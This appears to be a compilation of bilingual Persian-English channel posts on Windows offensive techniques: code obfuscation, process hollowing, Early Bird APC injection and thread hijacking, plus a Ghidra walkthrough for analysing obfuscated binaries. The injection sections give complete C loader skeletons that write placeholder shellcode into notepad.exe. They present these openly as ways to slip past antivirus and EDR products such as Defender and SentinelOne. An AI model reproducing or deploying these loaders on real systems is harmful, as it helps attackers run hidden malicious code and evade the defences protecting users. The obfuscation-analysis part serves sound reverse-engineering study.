🧠 Obfuscation پیشرفته – ذهن تحلیل‌گر رو منفجر کن


1 Instruction Substitution (جایگزینی دستورات)

کد رو طوری بازنویسی میکنن که همون عملکرد رو بده ولی با دستورات متفاوت

مثال:

به جای:

mov eax, 0

میشه نوشت:

xor eax, eax

یا یه چیز خیلی پیچیده‌تر:

sub eax, eax
add eax, eax

⛔ ابزارهای تحلیل ساده مثل IDA ممکنه نفهمن اینا معادلن.



2 Stack Tampering (دستکاری استک)

توابعی ساخته میشن که با push و pop و تغییر دستی ESP/EBP ساختار استک رو خراب میکنن در نتیجه بک‌تریس و call graph می‌ریزه به هم

اثرات:

IDA تو تشخیص توابع به اشتباه می‌افته

دیباگر دچار خطای نمایش Call Stack میشه




3 Inline Exception Handler Abuse

برنامه طوری نوشته میشه که Exception تولید میکنه و توی handler تصمیم میگیره ادامه بده یا نه!

mov eax, 0
div eax ; Exception: divide by zero!

در ادامه:

__try {
// کد مشکوک
} __except (EXCEPTION_EXECUTE_HANDLER) {
// مسیر مخفی رو اجرا کن
}

🔒 خیلی از ابزارها این رفتار رو شناسایی نمیکنن.



4 Polymorphic Obfuscation

کدی که هر بار اجراش فرق میکنه ولی نتیجه یکسانه معمولاً با Self-modifying code ترکیب میشه

مثلا:

mov eax, 1
add eax, 1

در نسخه دیگه تبدیل میشه به:

xor eax, eax
inc eax
inc eax

📛 هر بار sign‌ کردن یا هش کردن فایل متفاوت میشه → سخت برای آنتی‌ویروس‌ها و signature-based tools



5 Call Stack Hiding با Return Oriented Programming (ROP)

کد اصلی هیچ‌وقت اجرا نمیشه فقط با استفاده از گجت‌ها و return‌های متوالی کار پیش میره!

✅ ضد دیباگ
✅ ضد sign
✅ فوق‌العاده برای بایپس EDR/XDR




6 Anti-Deobfuscation Traps

کدهایی که وقتی ابزار تحلیل (مثل Ghidra یا IDA) می‌خواد decompile کنه، باعث کرش یا اشتباه تو تحلیل میشن. مثلاً:

invalid opcodes

بخش‌های ناقص در section header

اجرای کد از data section




7 Code Transposition (جابجایی کد)

بلاک‌های کد تو فایل باینری به ترتیب نیستن فقط موقع اجرا از طریق jmp/call مناسب ترتیب اجراشون درست میشه برای تحلیلگر مثل یک پازل بدون راهنماست



8 VM-based Obfuscation (Virtualization Protection)

🔐 پیشرفته‌ترین سطح Obfuscation
کل برنامه یا بخش حساس با زبانی مجازی نوشته میشه و یه VM داخلی اون رو اجرا می‌کنه. VMProtect، Tigress و Code Virtualizer از این روش استفاده میکنن

👀 خروجی فقط یه‌سری byte عجیبن، مثل:

db 0x9F, 0xB3, 0x4D, 0x81

⛔ تحلیل اینا نیازمند:

درک VM داخلی

مهندسی معکوس ماشین مجازی

ابزارهای custom


🧠 Advanced Obfuscation – Blow the Analyst’s Mind

Let’s dive into some serious obfuscation techniques that break disassemblers, confuse debuggers, and frustrate reverse engineers:




1 Instruction Substitution

Rewriting code to perform the same task using different instructions.

Instead of:

mov eax, 0

Use:

xor eax, eax

Or something even trickier:

sub eax, eax
add eax, eax

⛔ Basic analysis tools like IDA might fail to recognize these as equivalent.




2 Stack Tampering

Functions are written to manipulate the stack manually using push, pop, or directly modifying ESP/EBP.

🧨 This breaks:

Backtracing

Call graphs

Proper function recognition in IDA

Stack display in debuggers





3 Inline Exception Handler Abuse

The program intentionally causes an exception, then handles it to control execution flow:

mov eax, 0
div eax ; Division by zero!

Then handles it:

__try {
// Suspicious code
}
__except(EXCEPTION_EXECUTE_HANDLER) {
// Execute hidden path
}

🔒 Many tools don't properly track this behavior.




4 Polymorphic Obfuscation

The code changes each time it runs — but behaves the same.

Often mixed with self-modifying code.

Example:

mov eax, 1
add eax, 1

Could become:

xor eax, eax
inc eax
inc eax

📛 Every build is different → hard to sign, hash, or detect via static analysis.




5 Call Stack Hiding via Return-Oriented Programming (ROP)

The real code never runs directly — instead, execution jumps through “gadgets” ending in ret.

✅ Anti-debug
✅ Signature-less
✅ Excellent for EDR/XDR evasion




6 Anti-Deobfuscation Traps

Insert code that crashes or misleads analysis tools like IDA or Ghidra:

Invalid opcodes

Corrupted section headers

Executing code from the .data section


💥 Boom — decompiler breaks or misinterprets.




7 Code Transposition (Block Reordering)

Code blocks are stored out of order in the binary.
Only during execution, via jmp or call, the real sequence unfolds.

🧩 Like solving a puzzle with no hints for the analyst.




8 VM-Based Obfuscation (Virtualization Protection)

🔐 The ultimate in code protection.

Critical logic is rewritten in a custom virtual instruction set and executed by an internal VM.

Used by tools like:

VMProtect

Code Virtualizer

Tigress


👀 Output becomes unreadable gibberish:

db 0x9F, 0xB3, 0x4D, 0x81

⛔ To reverse it, you need:

Deep understanding of the custom VM

Reverse engineering the virtual machine itself

Custom tooling

🧟 Process Hollowing – قاپ زدن یه برنامه سالم برای اجرای یه چیز خبیث!



🎭 وقتی ظاهر Task Manager فریب می‌ده...

فرض کن توی Task Manager یه process کاملا بی‌گناه می‌بینی مثلاً notepad.exe
ولی پشتش… شل‌کُد تو داره اجرا می‌شه 😈

این کار دقیقاً همونه که توی Process Hollowing اتفاق می‌افته:



🔬 مراحل کار:

1. یه پروسه سالم (مثلا notepad) رو به‌صورت suspended اجرا میکنی


2 حافظه اون پروسه رو خالی (unmap) میکنی


3 شل‌کد خودتو مینویسی توی اون حافظه


4 اجرای اون پروسه رو شروع می‌کنی… اما این بار با کد تو!


🧬 کد C ساده – Process Hollowing در سطح پایه

#include <windows.h>
#include <stdio.h>

unsigned char payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0 // shellcode واقعی‌تو جایگزین کن
};

int main() {
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;

// 1. ایجاد پروسه‌ای که قراره hollow بشه (suspended)
if (!CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
printf("CreateProcess failed.\n");
return -1;
}

// 2. گرفتن context پردازنده (برای دسترسی به ریجسترها)
GetThreadContext(pi.hThread, &ctx);

// 3. خواندن آدرس پایه (ImageBase) از PEB
LPVOID imageBase;
ReadProcessMemory(pi.hProcess, (LPCVOID)(ctx.Rdx + 0x10), &imageBase, sizeof(LPVOID), NULL);

// 4. پاک کردن حافظه‌ی فعلی
NtUnmapViewOfSection(pi.hProcess, imageBase); // نیاز به تعریف این تابع داری!

// 5. اختصاص حافظه و نوشتن shellcode
LPVOID remoteMem = VirtualAllocEx(pi.hProcess, imageBase, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, remoteMem, payload, sizeof(payload), NULL);

// 6. ست کردن آدرس Entry Point
ctx.Rcx = (DWORD64)remoteMem;
SetThreadContext(pi.hThread, &ctx);

// 7. اجرای پروسه
ResumeThread(pi.hThread);

return 0;
}

⚠️ نکات خیلی مهم:

باید NtUnmapViewOfSection رو از ntdll لود کنی یا با syscall صدا بزنی

Shellcode حتماً باید با همون معماری target ساخته بشه (x64 یا x86)

فایل اجرایی ظاهرش سالمه ولی در واقع شل‌کد تو اجرا میشه




😱 چرا Process Hollowing خطرناکه؟

✅ ظاهر Task Manager دروغه
✅ هیچ فایل مشکوکی ایجاد نمی‌شه
✅ بسیاری از AV/EDRها نمی‌تونن تحلیل حافظه انجام بدن (مخصوصا اگه با تکنیک‌های دیگه مثل unhook همراه شه)


🧟 Process Hollowing – Hijacking a Legit Process to Run Something Evil!


🎭 When Task Manager lies to your face...

Imagine seeing a perfectly innocent process like notepad.exe in Task Manager —
But under the hood... it’s running your shellcode 😈

That’s exactly what Process Hollowing does:



🔬 How It Works (Step-by-Step)

1 Launch a legit process (like notepad.exe) in suspended mode


2 Unmap its original memory


3 Write your own shellcode into that memory


4 Resume the process — but now, your code runs instead!





🧬 Basic C Code – A Simple Process Hollowing Example

#include <windows.h>
#include <stdio.h>

unsigned char payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0 // Replace with your actual shellcode
};

int main() {
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;

// 1. Start notepad in suspended mode
if (!CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
printf("CreateProcess failed.\n");
return -1;
}

// 2. Get the thread context (to access registers)
GetThreadContext(pi.hThread, &ctx);

// 3. Read ImageBase from PEB
LPVOID imageBase;
ReadProcessMemory(pi.hProcess, (LPCVOID)(ctx.Rdx + 0x10), &imageBase, sizeof(LPVOID), NULL);

// 4. Unmap original image (NtUnmapViewOfSection must be resolved!)
NtUnmapViewOfSection(pi.hProcess, imageBase);

// 5. Allocate memory and write shellcode
LPVOID remoteMem = VirtualAllocEx(pi.hProcess, imageBase, sizeof(payload),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, remoteMem, payload, sizeof(payload), NULL);

// 6. Set new entry point
ctx.Rcx = (DWORD64)remoteMem;
SetThreadContext(pi.hThread, &ctx);

// 7. Resume execution
ResumeThread(pi.hThread);

return 0;
}

⚠️ Important Notes

You must resolve NtUnmapViewOfSection dynamically (from ntdll.dll) or use a direct syscall

Shellcode must match the architecture (x64 or x86)

The process looks clean, but runs your payload!




😱 Why Process Hollowing is Dangerous ?

✅ Foolproof appearance in Task Manager
✅ No suspicious executable is dropped
✅ Many AVs/EDRs don’t perform memory analysis — especially if you combine with unhooking

اگه خواستید از این رودمپ استفاده کنید این بهتر و کامل تره

If you want to use this roadmap, it's better and more complete

#roadmap

یکی از دوستان زحمت درست کردن این PDF رو کشیده خیلی ممنونم ازش حمایت کنید اگه راضی بودید بگم دوباره بسازه هر وقت تونست
@Chaos_Benji

Browser Fingerprinting Using WebAssembly, 2025.

🐥 Early Bird Injection

«شل‌کدت رو قبل از اینکه EDR بفهمه تزریق کن!»




🧠 مفهوم Early Bird Injection

تو بیشتر حمله‌های تزریق (مثل Process Hollowing) Inject زمانی انجام میشه که پروسه target تا حدودی لود شده
ولی بعضی AV/EDRها قبل از Resume کردن پروسه hook و تحلیل خودشون رو شروع میکنن

اینجاست که Early Bird Injection می‌درخشه:

🔸 قبل از اینکه AV/EDR شروع به مانیتور کردن کنه
🔸 قبل از اینکه main() هدف اجرا شه
🔸 توی همون لحظه‌ای که پروسه suspended مونده




⚙️ مراحل کلی:

1 ایجاد یه پروسه با فلگ CREATE_SUSPENDED


2 تخصیص حافظه در اون پروسه


3 نوشتن شل‌کد یا DLL در حافظه‌ی هدف


4 استفاده از QueueUserAPC برای صف کردن اجرای شل‌کد


5 Resume
کردن Thread → شل‌کدت اجرا میشه به‌جای کد اصلی






🔐 مزایا:

✅ تزریق توی لحظه‌ای که هیچ AV هنوز attach نشده
✅ بدون استفاده مستقیم از CreateRemoteThread
✅ بای‌پس خیلی از AV/EDRهای معمول مثل Defende، ESET حتی بعضی نسخه‌های SentinelOne




💻 کد ساده Early Bird Injection (C)

#include <windows.h>
#include <stdio.h>

unsigned char payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0 // شل‌کد دلخواه رو جایگزین کن
};

int main() {
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};

// 1. ایجاد پروسه به صورت SUSPENDED
if (!CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
printf("CreateProcess failed (%d).\n", GetLastError());
return -1;
}

// 2. تخصیص حافظه در پروسه هدف
LPVOID remoteAddr = VirtualAllocEx(pi.hProcess, NULL, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, remoteAddr, payload, sizeof(payload), NULL);

// 3. استفاده از APC برای تزریق شل‌کد
QueueUserAPC((PAPCFUNC)remoteAddr, pi.hThread, NULL);

// 4. اجرای پروسه → اجرای شل‌کد
ResumeThread(pi.hThread);

return 0;
}

🔍 نکته مهم:

فقط روی thread هایی که alertable هستن (WaitForSingleObjectEx) اجرا میشه ولی توی حالت SUSPENDED، چون ویندوز پروسه رو alertable resume میکنه این تکنیک جواب میده

این یکی از stealth‌ ترین روش‌هاست اگه با syscall و PPID Spoof ترکیب بشه



🐥 Early Bird Injection
"Inject your shellcode before the EDR even notices!"

🧠 What is Early Bird Injection?
In most injection techniques (like Process Hollowing), the payload is injected after the target process has partially loaded.
But some modern AVs/EDRs begin hooking and analysis even before the process is resumed.
That's where Early Bird Injection shines:

🔸 Before the AV/EDR starts monitoring
🔸 Before the target’s main() executes
🔸 Right at the moment the process is still suspended

⚙️ Basic Steps:

1 Create a process with the CREATE_SUSPENDED flag


2 Allocate memory in the target process


3 Write your shellcode or DLL into that memory


4 Use QueueUserAPC to queue execution of the payload


5 Resume the main thread → Shellcode runs instead of original entry point



🔐 Advantages:
✅ Injection occurs before any AV attaches
✅ No direct use of CreateRemoteThread
✅ Can bypass many AV/EDRs like Defender, ESET, even some versions of SentinelOne

💻 Simple Early Bird Injection (C):

#include <windows.h>
#include <stdio.h>

unsigned char payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0 // Replace with your actual shellcode
};

int main() {
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};

// 1. Create the process in suspended state
if (!CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
printf("CreateProcess failed (%d).\n", GetLastError());
return -1;
}

// 2. Allocate memory in the target process
LPVOID remoteAddr = VirtualAllocEx(pi.hProcess, NULL, sizeof(payload),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, remoteAddr, payload, sizeof(payload), NULL);

// 3. Queue the shellcode via APC
QueueUserAPC((PAPCFUNC)remoteAddr, pi.hThread, NULL);

// 4. Resume the thread → shellcode gets executed
ResumeThread(pi.hThread);

return 0;
}

🔍 Important Note:
This technique only works if the thread is in an alertable state (like via WaitForSingleObjectEx).
However, when a thread is resumed from SUSPENDED, Windows starts it in an alertable state — making this trick effective.

🕵️‍♂️ One of the stealthiest injection methods — and even more powerful when combined with syscalls and PPID spoofing.

💣 مثال عملی از Obfuscated Binary

🎯 هدف:

تحلیل یه باینری ساده ولی Obfuscated شده با تکنیک‌های:

Junk Code

Control Flow Flattening

Code Transposition

Opaque Predicates




🧪 مرحله ۱ – کد ساده اصلی (قبل از Obfuscation)

فرض کن این کد رو داریم:

int secret() {
return 1337;
}

int main() {
int x = secret();
if (x == 1337)
printf("Access Granted\n");
else
printf("Access Denied\n");
}

خیلی ساده و مستقیمه. تو disassembly سریعاً متوجه میشی secret() چیه و شرط رو راحت می‌فهمی.




💉 مرحله ۲ – اعمال Obfuscation

حالا این کد Obfuscated میشه خروجی چیزی شبیه به اینه:

🔻 سطح اسمبلی:

mov eax, 0x539 ; Load garbage value
nop
jmp label1

label1:
xor ecx, ecx
mov ecx, 0x539 ; Real value here
cmp ecx, 0x539
jne denied

mov edx, ecx
call check_flag

jmp end

check_flag:
push edx
mov eax, edx
cmp eax, 0x539
jne denied
pop edx
jmp success

success:
push message1
call printf
jmp end

denied:
push message2
call printf

end:
ret

🧠 نکات تحلیل:

توابع جابجا شدن → Call Graph به هم ریخته

cmp ecx, 0x539 تکراریه ولی ضروریه برای اجرای مسیر درست

شرط‌های اضافی و jumpهای غیرضروری → Control Flow Flattening

check_flag و main درهم ریخته‌ان

اسامی توابع حذف شدن یا رمزگذاری شدن





👀 در Ghidra/IDA چی می‌بینیم؟

✅ CFG (Control Flow Graph) بهم ریخته‌ست
✅ Cross Reference برای printf هست ولی نمی‌دونی کِی صدا زده میشه
✅ Flow از بالا به پایین نیست → باید با چشم و منطق بازسازی کنی
✅ جابه‌جایی labelها مسیر رو نامشخص میکنه




💣 Practical Example of an Obfuscated Binary

🎯 Target: Analyze a simple binary that has been obfuscated using techniques like:

Junk Code

Control Flow Flattening

Code Transposition

Opaque Predicates





🧪 Stage 1 – The Original Simple Code (Before Obfuscation)
Let’s start with a clean, readable piece of C code:

int secret() {
return 1337;
}
int main() {
int x = secret();
if (x == 1337)
printf("Access Granted\n");
else
printf("Access Denied\n");
}

Very straightforward. In the disassembly, you can quickly spot what secret() returns and understand the conditional logic.




💉 Stage 2 – After Obfuscation
Now, this code has been obfuscated. The disassembled output might look like this:

🔻 Assembly Level:

mov eax, 0x539 ; Load garbage value
nop
jmp label1
label1:
xor ecx, ecx
mov ecx, 0x539 ; Real value here
cmp ecx, 0x539
jne denied
mov edx, ecx
call check_flag
jmp end

check_flag:
push edx
mov eax, edx
cmp eax, 0x539
jne denied
pop edx
jmp success

success:
push message1
call printf
jmp end

denied:
push message2
call printf

end:
ret

🧠 Analysis Notes:

Function flow has been rearranged → Call graph is misleading

cmp ecx, 0x539 looks redundant but is necessary for valid path execution

Extra conditional jumps and labels → Result of Control Flow Flattening

check_flag and main are interleaved → harder static analysis

Function names are stripped or renamed → Symbol resolution is tricky





👀 What Do You See in Ghidra/IDA?
✅ A messy Control Flow Graph (CFG)
✅ Cross-references to printf() exist, but not clear when it’s triggered
✅ No top-down logic flow — you must reconstruct it manually
✅ Jump labels and code blocks are shuffled → control flow is disguised

💉APC Injection / Thread Hijacking

«کدت رو بچسبون به نخ زندگی یکی دیگه!» 🧵💉



تکنیک چی کار می‌کنه؟

APC Injection
یه تابع (مثلاً شل‌کد) رو می‌ذاری تو صف APC یه thread تا وقتی alertable شد اجرا شه
Thread Hijack یه thread از یه پروسه رو pause می‌کنی، مسیر اجراشو می‌فرستی سمت شل‌کدت و Resume می‌کنی


هر دوشون stealth هستن و توی حملات به شدت استفاده می‌شن.




✅ روش اول: APC Injection

مراحل:

1 پیدا کردن یه thread تو پروسه هدف


2 تخصیص حافظه و نوشتن شل‌کد


3 استفاده از QueueUserAPC()


4 اگر thread alertable باشه، شل‌کد اجرا می‌شه



> این روش روی threadهایی جواب می‌ده که در حالت "alertable wait" باشن (مثل SleepEx, WaitForSingleObjectEx)



🚨 محدودیت:

AV
ها گاهی threadهای alertable رو زیر نظر دارن. برای اطمینان بیشتر بهتره خودت پروسه رو بسازی و بعد تزریق کنی.




✅ روش دوم: Thread Hijacking (Hijack Thread)

ایده:

یه thread تو پروسه هدف pause می‌کنی مسیر اجرای CPU اون thread رو تغییر می‌دی به آدرس شل‌کدت بعد Resume می‌کنی.
بدون اینکه شکی ایجاد شه



💻 مثال ساده (C):

// فرض کن پروسه هدف رو قبلا پیدا کردی و handle داری

HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadId);
SuspendThread(hThread);

CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(hThread, &ctx);

// تخصیص و نوشتن شل‌کد در حافظه پروسه هدف (مثل قبل)
LPVOID shellcodeAddr = VirtualAllocEx(hProcess, NULL, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, shellcodeAddr, payload, sizeof(payload), NULL);

// تغییر آدرس EIP/RIP به سمت شل‌کد
#ifdef _WIN64
ctx.Rip = (DWORD64)shellcodeAddr;
#else
ctx.Eip = (DWORD)shellcodeAddr;
#endif

SetThreadContext(hThread, &ctx);
ResumeThread(hThread);

🔐 چرا این تکنیک‌ها خفنن؟

✅ هیچ CreateRemoteThread که راحت detect شه وجود نداره
✅ inject شدن خیلی stealthy هست
✅ اگر با unhooking و direct syscall ترکیب بشه، اکثر AV/EDRها رو کور می‌کنه



💉 APC Injection / Thread Hijacking

🧵 "Stick your code into someone else's thread of life!"

Both of these are stealthy code injection techniques frequently used in offensive security and malware development.




✅ Method 1: APC Injection

🧠 What it does:
Places a function (e.g., shellcode) into the APC (Asynchronous Procedure Call) queue of a thread. When that thread enters an alertable state, your code executes.

🛠 Steps:

1 Find a thread in the target process


2 Allocate memory and write shellcode into it


3 Use QueueUserAPC() to queue the shellcode


4 If the thread becomes alertable, the code gets executed



⚠️ Note: Only works on threads in an alertable wait state — like SleepEx(), WaitForSingleObjectEx(), etc.

🚨 Limitation:
Modern AVs may monitor alertable threads. For higher stealth, it’s better to spawn the process yourself in a suspended state, inject, then resume.





✅ Method 2: Thread Hijacking

🧠 Idea:
Pause a thread in the target process, change its execution pointer (EIP/RIP) to point to your shellcode, then resume it — silently.

💻 Basic C Example:

// Assume you've already obtained a handle to the target process and thread
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadId);
SuspendThread(hThread);

CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(hThread, &ctx);

// Allocate memory and write shellcode in target process
LPVOID shellcodeAddr = VirtualAllocEx(hProcess, NULL, sizeof(payload),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, shellcodeAddr, payload, sizeof(payload), NULL);

// Redirect execution to shellcode
#ifdef _WIN64
ctx.Rip = (DWORD64)shellcodeAddr;
#else
ctx.Eip = (DWORD)shellcodeAddr;
#endif

SetThreadContext(hThread, &ctx);
ResumeThread(hThread);

🔐 Why These Techniques Are Powerful: ✅ No use of CreateRemoteThread, which is easily flagged
✅ Stealthy and clean injection method
✅ When combined with unhooking and direct syscalls, most AV/EDR solutions are completely bypassed

🔎 تحلیل Obfuscated Binary در Ghidra

🎯 هدف:

شناسایی منطق پنهان‌شده در باینری بازسازی کد اصلی و یادگیری اینکه چطور Ghidra میتونه کمک کنه تا تو این مین‌فیلد راهتو پیدا کنی




🛠️ قدم اول: بارگذاری فایل در Ghidra

1 فایل باینری Obfuscated رو لود کن.


2 Architecture رو انتخاب کن (مثلاً x86 یا x86_64).


3 گزینه‌ی Auto Analysis رو روشن بزار تا خودش نقاط ورود و توابع مشکوک رو تشخیص بده






👁️ قدم دوم: شناسایی Junk Code

با باز کردن view دیس‌اسمبل (Listing)، متوجه می‌شی بعضی از کدها هیچ تأثیر واقعی ندارن:

mov eax, eax
xor ecx, ecx
add ecx, 0

📌 اینا همون Junk Code هستن. Ghidra گاهی اوقات خودش اونا رو کامنت میکنه یا برجسته میکنه به‌ عنوان "does nothing"
🧠 هدفشون اینه که ذهن دیباگر رو منحرف کنن نه اجرای واقعی رو تغییر بدن




🔁 قدم سوم: شناسایی Control Flow Flattening

وقتی control flow مثل شکل زیر میشه، این یعنی Flattening شده:

main:
|
+--> block_1
| |
| v
+--> block_2
| |
| v
+--> block_n
|
v
dispatcher

📌 Ghidra توی این حالت نشون می‌ده که همه‌ی بلاک‌ها با یه Dispatcher مرکزی کنترل میشن

🔎 Dispatcher معمولاً شامل یک switch یا چند cmp + jmp هست که مسیر اجرا رو میسازن




🎯 قدم چهارم: دنبال کردن Branchهای شرطی

یه بخش از کد:

cmp ecx, 0x539
jne denied

✅ تو Ghidra با دوبار کلیک روی jne denied، می‌ری به Label مربوطه
🚩 با استفاده از "Xrefs" (Cross References) می‌تونید ببینی کی به این Label پرش میکنه




📘 قدم پنجم: بازسازی Pseudocode

تو Ghidra قسمت “Decompiled View” خیلی مهمه. یه چیزی مثل این رو می‌بینی:

if (ecx == 0x539) {
check_flag(ecx);
} else {
printf("Access Denied\n");
}

💡 این قسمت واقعاً بهت کمک می‌کنه تا منطق Obfuscated رو دوباره بخونی، چون Ghidra به‌صورت اتومات به Pseudocode تبدیلش میکنه




🧠 نتیجه‌گیری:

> حتی اگه باینری با تکنیک‌های Obfuscation سنگین رمزگذاری شده باشه،
باز هم با ابزارهایی مثل Ghidra و مهارت تو دیباگ کردن مسیر اجرا می‌تونی مثل یه کارآگاه نرم‌افزاری حقیقت پنهان رو کشف کنی




🔎 Analyzing Obfuscated Binaries in Ghidra
🎯 Goal: Reveal hidden logic, reconstruct the original code, and learn how Ghidra helps you survive the obfuscation minefield.




🛠️ Step 1 – Load the Binary into Ghidra

1 Open the obfuscated binary in Ghidra


2 Choose the correct architecture (e.g., x86 or x86_64)


3 Enable Auto Analysis so Ghidra can detect entry points and suspicious routines for you





👁️ Step 2 – Spotting Junk Code

In the Disassembly view, you’ll find instructions like:

mov eax, eax
xor ecx, ecx
add ecx, 0

📌 These are junk instructions — they do nothing and are just there to confuse analysts.
Ghidra may comment them as "does nothing" or visually mark them.

🎯 Target: Mislead reverse engineers without affecting program behavior.




🔁 Step 3 – Identifying Control Flow Flattening

If you see a control flow structure like this:

main:
|--> block_1
|--> block_2
|--> block_n
--> dispatcher

📌 That’s Control Flow Flattening in action.
In Ghidra, you’ll notice that each block jumps back to a dispatcher, which handles what to execute next.

🔍 The dispatcher often includes a switch, or a series of cmp and jmp instructions.




🔎 Step 4 – Follow Conditional Branches

Example:

cmp ecx, 0x539
jne denied

✅ In Ghidra, double-clicking jne denied will take you directly to the target label.
🚩 Use Xrefs (Cross References) to see all branches and callers to that label — super useful for understanding logic flow.




📘 Step 5 – Rebuild Pseudocode

Ghidra’s Decompiled View is gold. You’ll see something like:

if (ecx == 0x539) {
check_flag(ecx);
} else {
printf("Access Denied\n");
}

💡 This helps you reconstruct obfuscated logic in high-level form. Even when control flow is ugly, the pseudocode makes it human-readable.




🧠 Conclusion:

> Even when binaries are heavily obfuscated using advanced techniques,
with tools like Ghidra and a sharp reverse engineering mindset,
you can uncover the hidden logic like a digital detective. 🔍🕵️‍♂️

Fake Gambling Cheat Runs Malware